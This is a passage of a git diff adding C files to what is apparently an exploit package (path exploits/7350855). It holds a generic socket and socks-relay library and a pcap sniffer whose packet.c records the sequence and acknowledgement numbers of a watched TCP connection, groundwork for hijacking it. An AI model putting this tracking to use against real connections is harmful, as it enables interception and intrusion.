487#ifdef SO_REUSEPORT
488 if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1)
489 goto berror;
490#else
491 if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1)
492 goto berror;
493#endif
494
495 sap = (struct sockaddr_in *) &b->bsa;
496 sap->sin_family = AF_INET;
497 sap->sin_port = htons (port); /* 0 = ephemeral */
498
499 if (ip != NULL) {
500 if (strcmp (ip, "*") == 0) {
501 sap->sin_addr.s_addr = htonl (INADDR_ANY);
502 } else {
503 if (!(sap->sin_addr.s_addr = net_resolve (ip))) {
504 goto berror;
505 }
506 }
507 } else {
508 sap->sin_addr.s_addr = htonl (INADDR_ANY);
509 }
510
511 br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr));
512 if (br == -1)
513 goto berror;
514
515 len = sizeof (struct sockaddr);
516 gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len);
517 b->port = ntohs (sap->sin_port);
518 if (gsnr == -1)
519 goto berror;
520
521 lr = listen (b->bs, 16);
522 if (lr == -1) {
523 goto berror;
524 }
525 return (b);
526
527berror:
528 free (b);
529
530 return(NULL);
531}
532
533
534unsigned long int
535net_resolve (char *host)
536{
537 long i;
538 struct hostent *he;
539
540 i = inet_addr(host);
541 if (i == -1) {
542 he = gethostbyname(host);
543 if (he == NULL) {
544 return (0);
545 } else {
546 return (*(unsigned long *) he->h_addr);
547 }
548 }
549 return (i);
550}
551
552
553int
554net_assignaddr (int sd, char *sourceip, unsigned short int sourceport)
555{
556 struct sockaddr_in sourcedef;
557
558 if (sourceip && strcmp (sourceip, "*") == 0)
559 sourceip = NULL;
560
561 if (sourceip == NULL && sourceport == 0)
562 return (1);
563
564 /* is the IP available on the local host ? (not really necessary) */
565 if (sourceip && !net_testvip (sourceip)) {
566 return (0);
567 }
568
569 memset (&sourcedef, '\0', sizeof (struct sockaddr_in));
570
571 /* if sourceip is specified, set it */
572 if (sourceip) {
573 sourcedef.sin_addr.s_addr = net_resolve (sourceip);
574 } else {
575 sourcedef.sin_addr.s_addr = htonl (INADDR_ANY);
576 }
577 if (sourceport)
578 sourcedef.sin_port = htons (sourceport);
579
580 /* now set the source on the socket by binding it */
581 if (bind (sd, (struct sockaddr *) &sourcedef, sizeof (struct sockaddr_in)) == -1) {
582 return (0);
583 }
584
585 return (1);
586}
587
588
589int
590net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
591 unsigned short int sourceport, int sec)
592{
593 int n,
594 len,
595 error,
596 flags;
597 int fd;
598 struct timeval tv;
599 fd_set rset, wset;
600 struct sockaddr_in csa;
601
602 if (cs == NULL)
603 cs = &csa;
604
605 /* first allocate a socket */
606 cs->sin_family = AF_INET;
607 cs->sin_port = htons (port);
608 fd = socket (cs->sin_family, SOCK_STREAM, 0);
609 if (fd == -1)
610 return (-1);
611
612 /* check wether we should change the defaults */
613 if (net_assignaddr (fd, sourceip, sourceport) == 0) {
614 close (fd);
615 return (-1);
616 }
617
618 if (!(cs->sin_addr.s_addr = net_resolve (server))) {
619 close (fd);
620 return (-1);
621 }
622
623 flags = fcntl (fd, F_GETFL, 0);
624 if (flags == -1) {
625 close (fd);
626 return (-1);
627 }
628 n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
629 if (n == -1) {
630 close (fd);
631 return (-1);
632 }
633
634 error = 0;
635
636 n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
637 if (n < 0) {
638 if (errno != EINPROGRESS) {
639 close (fd);
640 return (-1);
641 }
642 }
643 if (n == 0)
644 goto done;
645
646 FD_ZERO(&rset);
647 FD_ZERO(&wset);
648 FD_SET(fd, &rset);
649 FD_SET(fd, &wset);
650 tv.tv_sec = sec;
651 tv.tv_usec = 0;
652
653 n = select(fd + 1, &rset, &wset, NULL, &tv);
654 if (n == 0) {
655 close(fd);
656 errno = ETIMEDOUT;
657 return (-1);
658 }
659 if (n == -1)
660 return (-1);
661
662 if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
663 if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
664 len = sizeof(error);
665 if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
666 errno = ETIMEDOUT;
667 return (-1);
668 }
669 if (error == 0) {
670 goto done;
671 } else {
672 errno = error;
673 return (-1);
674 }
675 }
676 } else
677 return (-1);
678
679done:
680 n = fcntl(fd, F_SETFL, flags);
681 if (n == -1)
682 return (-1);
683 return (fd);
684}
685
686
687int
688net_tline (char *buf, int bufsize)
689{
690 int p;
691
692 for (p = 0; p < bufsize; p++) {
693 if (buf[p] == '\n')
694 return (p + 1);
695 }
696 return (-1);
697}
698
699#define LINET_A 1024
700
701
702int
703net_rlineta (int fd, char **buf, int sec)
704{
705 int n; /* return value */
706 int bufsize = 0;
707
708 *buf = NULL;
709
710 do {
711 bufsize += LINET_A;
712 *buf = realloc (*buf, bufsize);
713 if (*buf == NULL)
714 return (-1);
715
716 n = net_rlinet (fd, *buf + bufsize - LINET_A, LINET_A, sec);
717
718 if (n == -1)
719 goto rlinetaerr;
720 if (n >= 0)
721 goto rlinetastrip;
722 } while (n == -2);
723
724rlinetastrip:
725 *buf = realloc (*buf, strlen (*buf) + 1);
726 return (strlen (*buf));
727
728rlinetaerr:
729 free (*buf);
730 return (-1);
731}
732
733
734int
735net_rlinet (int fd, char *buf, int bufsize, int sec)
736{
737 int n;
738 unsigned long int rb = 0;
739 struct timeval tv_start, tv_cur;
740
741 memset(buf, '\0', bufsize);
742 (void) gettimeofday(&tv_start, NULL);
743
744 do {
745 (void) gettimeofday(&tv_cur, NULL);
746 if (sec > 0) {
747 if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) -
748 ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) {
749 return (-1);
750 }
751 }
752 n = net_rtimeout(fd, net_readtimeout);
753 if (n <= 0) {
754 return (-1);
755 }
756 n = read(fd, buf, 1);
757 if (n <= 0) {
758 return (n);
759 }
760 rb++;
761 if (*buf == '\n')
762 return (rb);
763 buf++;
764 if (rb >= bufsize)
765 return (-2); /* buffer full */
766 } while (1);
767}
768
769
770long int
771net_rbuf (int fd, char **dst)
772{
773 long int ml = 0;
774 long int read_bytes;
775 int p;
776
777 *dst = NULL;
778
779 while ((p = net_rtimeout(fd, net_readtimeout)) == 1) {
780 *dst = (char *) realloc(*dst, ml + NET_BSIZE);
781 if (*dst == NULL)
782 return (-1);
783 ml += read_bytes = read(fd, *dst + ml, NET_BSIZE);
784 if (read_bytes == 0) {
785 *dst = (char *) realloc(*dst, ml);
786 if ((*dst == NULL) && (ml == 0)) {
787 return (1);
788 } else if (*dst == NULL) {
789 return (-1);
790 } else {
791 return (ml);
792 }
793 }
794 }
795 return (-1);
796}
797
798
799int
800net_rbuft (int fd, char *dst, unsigned long int dsize)
801{
802 unsigned long int bl = 0, m;
803 int p;
804
805 while (bl < dsize) {
806 p = net_rtimeout(fd, net_readtimeout);
807 if ((p == 0) || (p == -1)) {
808 return (-1);
809 }
810
811 m = read(fd, dst + bl, (dsize - bl));
812 if ((m == 0) || (m == -1)) {
813 return (-1);
814 }
815 bl += m;
816 }
817 return (1);
818}
819
820
821int
822net_rtimeout (int fd, int sec)
823{
824 fd_set rset;
825 struct timeval tv;
826 int n, error, flags;
827
828 error = 0;
829 flags = fcntl(fd, F_GETFL, 0);
830 n = fcntl(fd, F_SETFL, flags | O_NONBLOCK);
831 if (n == -1)
832 return (-1);
833
834 FD_ZERO(&rset);
835 FD_SET(fd, &rset);
836 tv.tv_sec = sec;
837 tv.tv_usec = 0;
838
839 /* now we wait until more data is received then the tcp low level watermark,
840 * which should be setted to 1 in this case (1 is default)
841 */
842
843 n = select(fd + 1, &rset, NULL, NULL, &tv);
844 if (n == 0) {
845 n = fcntl(fd, F_SETFL, flags);
846 if (n == -1)
847 return (-1);
848 errno = ETIMEDOUT;
849 return (-1);
850 }
851 if (n == -1) {
852 return (-1);
853 }
854 /* socket readable ? */
855 if (FD_ISSET(fd, &rset)) {
856 n = fcntl(fd, F_SETFL, flags);
857 if (n == -1)
858 return (-1);
859 return (1);
860 } else {
861 n = fcntl(fd, F_SETFL, flags);
862 if (n == -1)
863 return (-1);
864 errno = ETIMEDOUT;
865 return (-1);
866 }
867}
868
869
870void
871net_write (int fd, const char *str, ...)
872{
873 char tmp[1025];
874 va_list vl;
875 int i;
876
877 va_start(vl, str);
878 memset(tmp, 0, sizeof(tmp));
879 i = vsnprintf(tmp, sizeof(tmp), str, vl);
880 va_end(vl);
881
882#ifdef DEBUG
883 printf("[snd] %s\n", tmp);
884#endif
885
886 send(fd, tmp, i, 0);
887 return;
888}
889
890
891int
892net_printip (struct in_addr *ia, char *str, size_t len)
893{
894 unsigned char *ipp;
895
896 ipp = (unsigned char *) &ia->s_addr;
897 snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
898
899 return (0);
900}
901
902
903int
904net_printipa (struct in_addr *ia, char **str)
905{
906 unsigned char *ipp;
907
908 ipp = (unsigned char *) &ia->s_addr;
909 *str = calloc (1, 256);
910 if (*str == NULL)
911 return (1);
912
913 snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]);
914 *str = realloc (*str, strlen (*str) + 1);
915
916 return ((*str == NULL) ? 1 : 0);
917}
918
diff --git a/exploits/7350855/0/network.h b/exploits/7350855/0/network.h
new file mode 100644
index 0000000..3e726d0
--- /dev/null
+++ b/exploits/7350855/0/network.h
@@ -0,0 +1,367 @@
1/* scut's leet network library ;)
2 * 1999 (c) scut
3 *
4 * networking code
5 */
6
7#ifndef SCUT_NETWORK_H
8#define SCUT_NETWORK_H
9
10#include <sys/socket.h>
11#include <net/if.h>
12#include <netinet/in.h>
13#include <stdio.h>
14
15#define NET_READTIMEOUT 180
16#define NET_CONNTIMEOUT 60
17#define NET_IDENTTIMEOUT 15
18
19#define IFI_NAME 16
20#define IFI_HADDR 8
21
22/* struct ifi_info
23 *
24 * a linked list giving information about all the network interfaces available
25 * a pointer to this struct list is returned by net_get_ifi.
26 */
27
28struct ifi_info {
29 char ifi_name[IFI_NAME];
30 u_char ifi_haddr[IFI_HADDR];
31 u_short ifi_hlen;
32 short ifi_flags;
33 short ifi_myflags;
34 struct sockaddr *ifi_addr;
35 struct in_addr ifi_saddr;
36 struct ifi_info *ifi_next;
37};
38
39#define IFI_ALIAS 1
40
41typedef struct bound {
42 int bs; /* bound socket */
43 unsigned short port; /* port we bound to */
44 struct sockaddr bsa; /* bs_in */
45} bound;
46
47extern int net_readtimeout;
48extern int net_conntimeout;
49extern int net_identtimeout;
50
51
52/* net_socks_connect
53 *
54 * relays through an open socks 5 server (NO AUTH type)
55 * returns a socket descriptor which is already connected
56 */
57
58int net_socks_connect (char *socks, unsigned short int sport,
59 char *server, unsigned short int port, int sec);
60
61
62/* net_socks_put_s5info
63 *
64 * insert socks 5 compatible relay information into socket s5s,
65 * used to relay over more then just one socks server
66 */
67
68int net_socks_put_s5info (int s5s, char *server,
69 unsigned short int port, int sec);
70
71
72/* net_parseip
73 *
74 * read an ip in the format "1.1.1.1:299" or "blabla:481" into
75 * the char pointer *ip and into the port *port
76 *
77 * return 0 on failure
78 * return 1 on success
79 */
80
81int net_parseip (char *inp, char **ip, unsigned short int *port);
82
83
84/* net_getlocalip
85 *
86 * give back the main IP of the local machine
87 *
88 * return the local IP address as string on success
89 * return NULL on failure
90 */
91
92char *net_getlocalip (void);
93
94
95/* net_peeraddress
96 *
97 * return a pointer to a string representation of the remote IP address of
98 * the already connected socket `socket'
99 *
100 * return NULL on failure
101 * return string pointer on succes
102 */
103
104char * net_peeraddress (int socket);
105
106
107/* net_addrpair
108 *
109 * find address pair of an established TCP connection of socket `socket'.
110 *
111 * return 0 on success
112 * return 1 on failure
113 */
114
115int
116net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt,
117 struct in_addr *dst_ip, unsigned short int *dst_prt);
118
119
120/* net_peername
121 *
122 * return a pointer that points to an alloced character array that contains
123 * the fully qualified hostname for the remote host that is connected using
124 * the socket descriptor `socket'.
125 +
126 * return NULL on failure
127 * return pointer to hostname or quad-dotted IP address
128 */
129
130char *net_peername (int socket);
131
132
133/* net_descriptify
134 *
135 * descriptify a socket `socket' ;)
136 *
137 * return -1 on failure
138 * return file descriptor on success
139 */
140
141FILE *net_descriptify (int socket);
142
143
144/* net_ident
145 *
146 * ident a connection identified by the host:port pairs on both sides,
147 * returning the ident in *ident
148 *
149 * return 1 on success
150 * return -1 on failure
151 */
152
153int net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport,
154 struct sockaddr_in *remotes, unsigned short int remoteport);
155
156
157/* net_accept
158 *
159 * accept a connection from socket s, and stores the connection
160 * into cs.
161 * wait a maximum amount of maxsec seconds for connections
162 * maxsec can also be zero (infinite wait, until connection)
163 *
164 * return 0 if no connection has been made within maxsec seconds
165 * return -1 if an error appears
166 * return the socket number if a connection has been made
167 */
168
169int net_accept (int s, struct sockaddr_in *cs, int maxsec);
170
171
172/* net_get_ifi
173 *
174 * get network interface information
175 *
176 * return NULL on failure
177 * return a pointer to a linked list structure ifi_info (see above)
178 */
179
180struct ifi_info *net_ifi_get (int family, int doaliases);
181
182
183/* net_ifi_free
184 *
185 * free the linked list associated with `tf'.
186 *
187 * return in any case
188 */
189
190void net_ifi_free (struct ifi_info *tf);
191
192
193/* net_testvip
194 *
195 * test if virtual ip/hostname is available for use on the local machine,
196 *
197 * return 1 if the ip can be used
198 * return 0 if the ip/host is not available
199 */
200
201int net_testvip (char *ip);
202
203
204/* net_bind
205 *
206 * bind a socket to an ip:port on the local machine,
207 * `ip' can be either NULL (bind to all IP's on the host), or a pointer
208 * to a virtual host name, or a real IP, or "*" for any.
209 * `port' can be either 0 (ephemeral port), or any free port.
210 *
211 * return NULL on failure
212 * return pointer to bound structure on success
213 */
214
215bound *net_bind (char *ip, unsigned short int port);
216
217
218/* net_boundfree
219 *
220 * free the bound structure pointed to by `bf'
221 *
222 * return in any case
223 */
224
225void net_boundfree (bound *bf);
226
227
228/* net_resolve
229 *
230 * resolve a hostname pointed to by `host' into a s_addr return value
231 *
232 * return the correct formatted `s_addr' for this host on success
233 * return 0 on failure
234 */
235
236unsigned long int net_resolve (char *host);
237
238
239/* net_assignaddr
240 *
241 * assign an IP address and port to a socket
242 * sourceip can be an IP or hostname that is available on the local host,
243 * or NULL/"*" to let the kernel choose one, same applies to sourceport,
244 * it can either be zero (ephemeral port choosen by the kernel) or a
245 * valid port number
246 *
247 * return 1 on success
248 * return 0 on failure
249 */
250
251int net_assignaddr (int sd, char *sourceip, unsigned short int sourceport);
252
253
254/* net_connect
255 *
256 * connect to the given `server' and `port' with a max timeout of `sec'.
257 * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any
258 * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname.
259 * create a new socket and return either -1 if failed or
260 * the connected socket if connection has been established within the
261 * timeout limit.
262 *
263 * the routine is still IPv4 biased :-/
264 * with `sourceip'/`sourceportÄ you MAY specify the source IP and source port
265 * to use for the connection, but you can set the ip or port to NULL/0,
266 * to choose the default IP and an ephemeral port. this was added later in
267 * this library, so please update your sources.
268 *
269 * return -1 on failure
270 * return socket if success
271 */
272
273int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
274 unsigned short int sourceport, int sec);
275
276
277/* net_rtimeout
278 *
279 * waits max `sec' seconds for fd to become readable
280 *
281 * return -1 on error (errno set)
282 * return 1 on readability
283 */
284
285int net_rtimeout (int fd, int sec);
286
287
288/* net_rbuf
289 *
290 * allocate memory and read socket data to `dst' until the connection
291 * gets closed.
292 *
293 * return n if success (n = number of bytes read)
294 * return -1 if failed
295 */
296
297long int net_rbuf (int fd, char **dst);
298#define NET_BSIZE 4096 /* blocksize for pre-allocation */
299
300
301/* net_rbuft
302 *
303 * read `dsize' bytes into `dst' from `fd', with timeout
304 *
305 * return 1 on success
306 * return -1 on failure
307 */
308int net_rbuft (int fd, char *dst, unsigned long int dsize);
309
310
311/* net_rlinet
312 *
313 * read a line from socket descriptor with timeout to buffer
314 * if sec = 0, then only a continuous stream of data is required, not
315 * an overall timeout.
316 *
317 * return -1 on timeout
318 * return 0 on connection close
319 * return length of readen line (including '\n')
320 *
321 * net_rlineta
322 * same as net_rlinet, but allocs the memory itself
323 */
324
325int net_rlineta (int fd, char **buf, int sec);
326int net_rlinet (int fd, char *buf, int bufsize, int sec);
327
328
329/* net_tline
330 *
331 * return length if string `buf' with a maximum length of `bufsize'
332 * contains '\n'
333 *
334 * return -1 if no '\n' in string
335 */
336
337int net_tline (char *buf, int bufsize);
338
339
340/* net_write
341 *
342 * print a formatted string to a socket, see syntax of printf
343 *
344 * return in any case
345 */
346
347void net_write (int fd, const char *str, ...);
348
349
350/* net_printip
351 *
352 * print an IP address stored in the struct in_addr pointed to by `ia' to a
353 * string `str' with a maximum length of `len'.
354 *
355 * return 0 on success
356 * return 1 on failure
357 *
358 * net_printipa behaves the same way, except it allocates memory and let
359 * `*str' point to the string
360 */
361
362int net_printip (struct in_addr *ia, char *str, size_t len);
363int net_printipa (struct in_addr *ia, char **str);
364
365
366#endif
367
diff --git a/exploits/7350855/0/packet.c b/exploits/7350855/0/packet.c
new file mode 100644
index 0000000..686ad81
--- /dev/null
+++ b/exploits/7350855/0/packet.c
@@ -0,0 +1,487 @@
1/* packet handling functions (originally from zodiac)
2 *
3 * packet handling and queueing routines
4 * by scut
5 *
6 * -Smiler
7 * Changed pq_grind to remove link layer. Changed other functions to
8 * accept ip packets instead of ethernet packets.
9 */
10
11#include <sys/types.h>
12#include <sys/socket.h>
13#include <sys/time.h>
14#include <netinet/in.h>
15#include <arpa/inet.h>
16#include <unistd.h>
17#include <stdio.h>
18#include <stdlib.h>
19#include <string.h>
20#include <semaphore.h>
21#include <pthread.h>
22#include <pcap.h>
23#include "common.h"
24#include "packet.h"
25#include "sniff.h"
26
27
28struct in_addr localip;
29
30
31/* watching data. should be set before any pq_* functions are active
32 */
33pthread_mutex_t watch_mutex = PTHREAD_MUTEX_INITIALIZER;
34
35int watch = 0;
36struct in_addr watch_ipsrc,
37 watch_ipdst;
38unsigned long int watch_src_seq,
39 watch_dst_seq;
40unsigned long int watch_src_ack,
41 watch_dst_ack;
42unsigned short int watch_sport,
43 watch_dport;
44
45/* pq_grind
46 *
47 * grind the packets received from the sniffer thread, stripping ethernet
48 * header, filter non-TCP packets, add them to the packet queue, then raise
49 * the correct semaphore.
50 *
51 * `sinfo' gives information about the sniffing thread and the packet queue,
52 * `pkthdr' is from the pcap handler and `pkt' contains the real packet data.
53 */
54
55void
56pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr, u_char *pkt)
57{
58 sniff_info * sinfo = (sniff_info *) sinfov;
59
60
61 if (sinfo->device->linktype == DLT_EN10MB) {
62 if (((eth_hdr *) pkt)->ether_type != htons (ETHERTYPE_IP))
63 goto pq_glend;
64 }
65 pkt += sinfo->device->linkhdrlen;
66 pkthdr->caplen -= sinfo->device->linkhdrlen;
67
68 if (pq_filter (pkt, pkthdr->caplen) == 0)
69 goto pq_glend;
70
71 /* update connection table
72 */
73#if 0
74 /* compute real IP/TCP packet size and append it to the right queue
75 */
76 if (pq_add (pkt, pkthdr->caplen, &pkthdr->ts, sinfo->pq_thd))
77 goto pq_glend;
78#endif
79
80 /* notify the corresponding thread about the new packet in it's queue
81 */
82 pq_notify (sinfo->pq_thd);
83
84pq_glend:
85 return;
86}
87
88
89/* pq_add
90 *
91 * append a packet queue description (pq_desc) with packet content `p_data' to
92 * the packet queue associated with thread `thd'.
93 * the packet data is copied, so the packet data pointer `p_data' has to be
94 * freed by the calling function. the time value `rcv_time' is the time when the
95 * packet was sniffed from the pcap library.
96 *
97 * return 0 on success
98 * will never fail tho ;-D
99 */
100
101int
102pq_add (unsigned char *p_data, unsigned long int p_size,
103 struct timeval *rcv_time, pq_thread *pqt)
104{
105 pq_desc * np; /* new packet in queue */
106
107
108 np = xcalloc (1, sizeof (pq_desc));
109
110 /* initialize the packet mutex and get hold of it
111 */
112 pthread_mutex_init (&np->pq_mutex, NULL);
113 pthread_mutex_lock (&np->pq_mutex);
114
115 /* get memory for the packet
116 */
117 np->p_len = p_size;
118 np->p_data = xcalloc (1, np->p_len);
119
120 /* copy packet data, create hash and copy time values
121 */
122 memcpy (np->p_data, p_data, np->p_len);
123 np->next = NULL;
124 memcpy (&np->rcv_time, rcv_time, sizeof (struct timeval));
125
126 /* now add the packet to the thread queue
127 */
128 pthread_mutex_lock (&pqt->pq_mutex);
129
130 /* no packet added yet, then just modify the root pointer, else
131 * append the packet
132 */
133 if (pqt->root == NULL) {
134 pqt->root = np;
135 } else {
136 pq_desc *cur = pqt->root; /* help pointers to step through the list */
137 pq_desc *last = pqt->root;
138
139 /* cycle through linked list, until end is reached
140 */
141 while (cur != NULL) {
142 last = cur;
143
144 pthread_mutex_lock (&last->pq_mutex);
145 cur = last->next;
146 pthread_mutex_unlock (&last->pq_mutex);
147 }
148
149 pthread_mutex_lock (&last->pq_mutex);
150 last->next = np;
151 pthread_mutex_unlock (&last->pq_mutex);
152 }
153
154 pthread_mutex_unlock (&pqt->pq_mutex);
155 pthread_mutex_unlock (&np->pq_mutex);
156
157 /* added packet successfully
158 */
159 return (0);
160}
161
162
163/* pq_handle
164 *
165 * main (threaded) packet processor routine
166 */
167
168void *
169pq_handle (pq_thread *pq)
170{
171 pq_desc *packet; /* packet pointer */
172 ip_hdr *ip; /* IP packet header pointer */
173 tcp_hdr *tcp; /* TCP packet header pointer */
174 unsigned char *data; /* packet data pointer :-) */
175 char *p_data;
176
177
178 do {
179 unsigned int psize;
180
181 do {
182 sem_wait (&pq->pq_active); /* wait for a packet */
183
184 /* get, unlink and then process the packet
185 */
186 packet = pq_get (pq);
187 } while (packet == NULL);
188
189 p_data = packet->p_data;
190
191 pq_offset (p_data, &ip, &tcp, &data);
192
193/* hexdump ("packets-rawdns", (unsigned char *) ip, (packet->p_len - sizeof (eth_hdr)));
194*/
195 psize = packet->p_len;
196// XXX dns_handle (ip, udp, dns, data, psize);
197
198#if 0
199 /* now, if the packet is directed to port 53, we add the id to the queue
200 * then update the display. but first check whether it is a self-originated
201 * packet, then skip the whole procedure.
202 */
203 if (udp->uh_dport == htons (53) && dns_tag_check_n (&ip->ip_src,
204 &ip->ip_dst, htons (udp->uh_sport), htons (udp->uh_dport),
205 htons (dns->id)) == 0)
206 {
207 id_add (ip->ip_src, ntohs (dns->id), &packet->rcv_time);
208 id_qprint (ms, ms->winid);
209 }
210#endif
211
212 pq_free (packet);
213
214 } while (1);
215
216 return (NULL);
217}
218
219
220/* pq_create
221 *
222 * create a packet handler
223 *
224 * return NULL on failure
225 * return pointer to pq_thread structure on success
226 */
227
228pq_thread *
229pq_create (void)
230{
231 int n; /* temporary return value */
232 pq_thread *pq_new; /* main thread structure of new thread */
233
234 pq_new = xcalloc (1, sizeof (pq_thread));
235
236 pthread_mutex_init (&pq_new->pq_mutex, NULL);
237 pq_new->pq_count = pq_new->pq_curcount = 0;
238 sem_init (&pq_new->pq_active, 0, 0);
239
240 n = pthread_create (&pq_new->pq_tid, NULL, (void *) pq_handle, (void *) pq_new);
241 if (n == -1) {
242 pq_destroy (pq_new);
243
244 return (NULL);
245 }
246
247 return (pq_new);
248}
249
250
251void
252pq_destroy (pq_thread *pq)
253{
254 pthread_mutex_destroy (&pq->pq_mutex);
255 sem_destroy (&pq->pq_active);
256
257 free (pq);
258
259 return;
260}
261
262/* pq_notify
263 *
264 * notify the correct thread using a semaphore
265 */
266
267void
268pq_notify (pq_thread *pqt)
269{
270 /* raise the semaphore
271 */
272 sem_post (&pqt->pq_active);
273
274 return;
275}
276
277
278/* pq_get
279 *
280 * return one packet from the packet stack pointed to by `pqt'.
281 *
282 * return NULL on failure
283 * return pointer to packet description on success
284 */
285
286pq_desc *
287pq_get (pq_thread *pqt)
288{
289 pq_desc *next;
290 pq_desc *this = NULL;
291
292 pthread_mutex_lock (&pqt->pq_mutex);
293
294 next = pqt->root;
295
296 if (next != NULL) {
297
298 /* if there is a packet, unlink first one, and shift all
299 * following packets
300 */
301 pthread_mutex_lock (&pqt->root->pq_mutex);
302 next = pqt->root->next;
303 pthread_mutex_unlock (&pqt->root->pq_mutex);
304
305 /* shift packets, we are helding pq_mutex tho :)
306 */
307 this = pqt->root;
308 pqt->root = next;
309
310 }
311
312 pthread_mutex_unlock (&pqt->pq_mutex);
313
314 return (this);
315}
316
317/* pq_remove
318 *
319 * remove the first packet from packet thread queue `thd'.
320 *
321 * return in any case
322 */
323
324void
325pq_remove (pq_thread *pqt)
326{
327 pq_desc *next;
328
329 pthread_mutex_lock (&pqt->pq_mutex);
330
331 if (pqt->root != NULL) {
332 pthread_mutex_lock (&pqt->root->pq_mutex);
333 next = pqt->root->next;
334 pthread_mutex_unlock (&pqt->root->pq_mutex);
335
336 pq_free (pqt->root);
337 pqt->root = next;
338 }
339
340 pthread_mutex_unlock (&pqt->pq_mutex);
341 return;
342}
343
344
345/* pq_free
346 *
347 * free a pq_desc structure with all associated data
348 */
349
350void
351pq_free (pq_desc *packet)
352{
353 /* some sanity checking inside :)
354 */
355 if (packet == NULL)
356 return;
357
358 /* if data is associated, free it
359 */
360 if (packet->p_data != NULL) {
361 free (packet->p_data);
362 }
363
364 /* destroy mutex and free structure
365 */
366 pthread_mutex_destroy (&packet->pq_mutex);
367 free (packet);
368
369 return;
370}
371
372
373/* pq_filter
374 *
375 * check wether packet with packet data pointed to by `p_data' is a UDP
376 * nameserver packet or not
377 *
378 * return 1 if it is
379 * return 0 if it is not
380 */
381
382int
383pq_filter (unsigned char *p_data, unsigned long p_size)
384{
385 int match = 0;
386 unsigned int iplen;
387 ip_hdr * ip = NULL;
388 tcp_hdr * tcp = NULL;
389
390
391 if (p_size < (sizeof (ip_hdr) + sizeof (tcp_hdr)))
392 return (0);
393
394 /* now check if the ip header encloses a udp packet
395 */
396 ip = (ip_hdr *) (p_data); /* caveat here: don't miss brackets ! */
397 if (ip->ip_p != IPPROTO_TCP)
398 return (0);
399
400 iplen = ip->ip_hl << 2;
401 if (iplen > p_size) /* XXX: is this correct ;) ? */
402 return (0);
403
404
405 tcp = (tcp_hdr *) (p_data + iplen);
406 tcp->th_sport = ntohs (tcp->th_sport);
407 tcp->th_dport = ntohs (tcp->th_dport);
408
409 /* quick and ugly wanted-matching
410 */
411 pthread_mutex_lock (&watch_mutex);
412 if (tcp->th_sport == watch_sport &&
413 tcp->th_dport == watch_dport &&
414 ip->ip_src.s_addr == watch_ipsrc.s_addr &&
415 ip->ip_dst.s_addr == watch_ipdst.s_addr)
416 {
417 match = 1;
418 } else if (tcp->th_sport == watch_dport &&
419 tcp->th_dport == watch_sport &&
420 ip->ip_src.s_addr == watch_ipdst.s_addr &&
421 ip->ip_dst.s_addr == watch_ipsrc.s_addr)
422 {
423 match = 1;
424 }
425
426 if (watch == 0)
427 match = 0;
428
429 /* XXX kludge: update seq# here */
430 if (match == 1) {
431 if (ip->ip_src.s_addr == watch_ipsrc.s_addr &&
432 tcp->th_sport == watch_sport)
433 {
434 watch_src_seq = ntohl (tcp->th_seq);
435 watch_src_ack = ntohl (tcp->th_ack);
436#ifdef DEBUG
437 fprintf (stderr, "(%5hu -> %5hu) src #: 0x%08lx | 0x%08lx\n",
438 tcp->th_sport, tcp->th_dport,
439 watch_src_seq, watch_src_ack);
440#endif
441 } else if (ip->ip_src.s_addr == watch_ipdst.s_addr &&
442 tcp->th_sport == watch_dport)
443 {
444 watch_dst_seq = ntohl (tcp->th_seq);
445 watch_dst_ack = ntohl (tcp->th_ack);
446#ifdef DEBUG
447 fprintf (stderr, "(%5hu -> %5hu) dst #: 0x%08lx | 0x%08lx\n\n",
448 tcp->th_sport, tcp->th_dport,
449 watch_dst_seq, watch_dst_ack);
450#endif
451 }
452 }
453 pthread_mutex_unlock (&watch_mutex);
454
455
456 return (match);
457}
458
459
460/* pq_offset
461 *
462 * stupidly calculate offsets for IP, UDP and DNS offsets within a IP data
463 * block
464 *
465 * return nothing
466 */
467
468void
469pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp,
470 unsigned char **tcp_data)
471{
472 size_t ip_len;
473
474
475 if (data == NULL)
476 return;
477
478 *ip = (ip_hdr *) data;
479 ip_len = (*ip)->ip_hl << 2;
480 *tcp = (tcp_hdr *) (data + ip_len);
481
482 /* FIXME: assuming stock tcp header */
483 *tcp_data = (unsigned char *) (data + ip_len + sizeof (tcp_hdr));
484
485 return;
486}
487
diff --git a/exploits/7350855/0/packet.h b/exploits/7350855/0/packet.h
new file mode 100644
index 0000000..78f1404
--- /dev/null
+++ b/exploits/7350855/0/packet.h
@@ -0,0 +1,85 @@
1/* snifflib
2 *
3 * by scut, smiler
4 *
5 */
6
7#ifndef Z_PACKET_H
8#define Z_PACKET_H
9
10#include <sys/time.h>
11#include <arpa/nameser.h>
12#include <netinet/in.h>
13#include <pcap.h>
14#include <semaphore.h>
15#include <pthread.h>
16#include <libnet.h>
17
18
19/* packet structures
20 *
21 * we tried to be as portable as possible
22 */
23
24typedef struct libnet_ethernet_hdr eth_hdr;
25typedef struct libnet_ip_hdr ip_hdr;
26typedef struct libnet_udp_hdr udp_hdr;
27typedef struct libnet_tcp_hdr tcp_hdr;
28
29
30/* pq_desc
31 *
32 * describe one packet within the packet queue. the data is only to be read
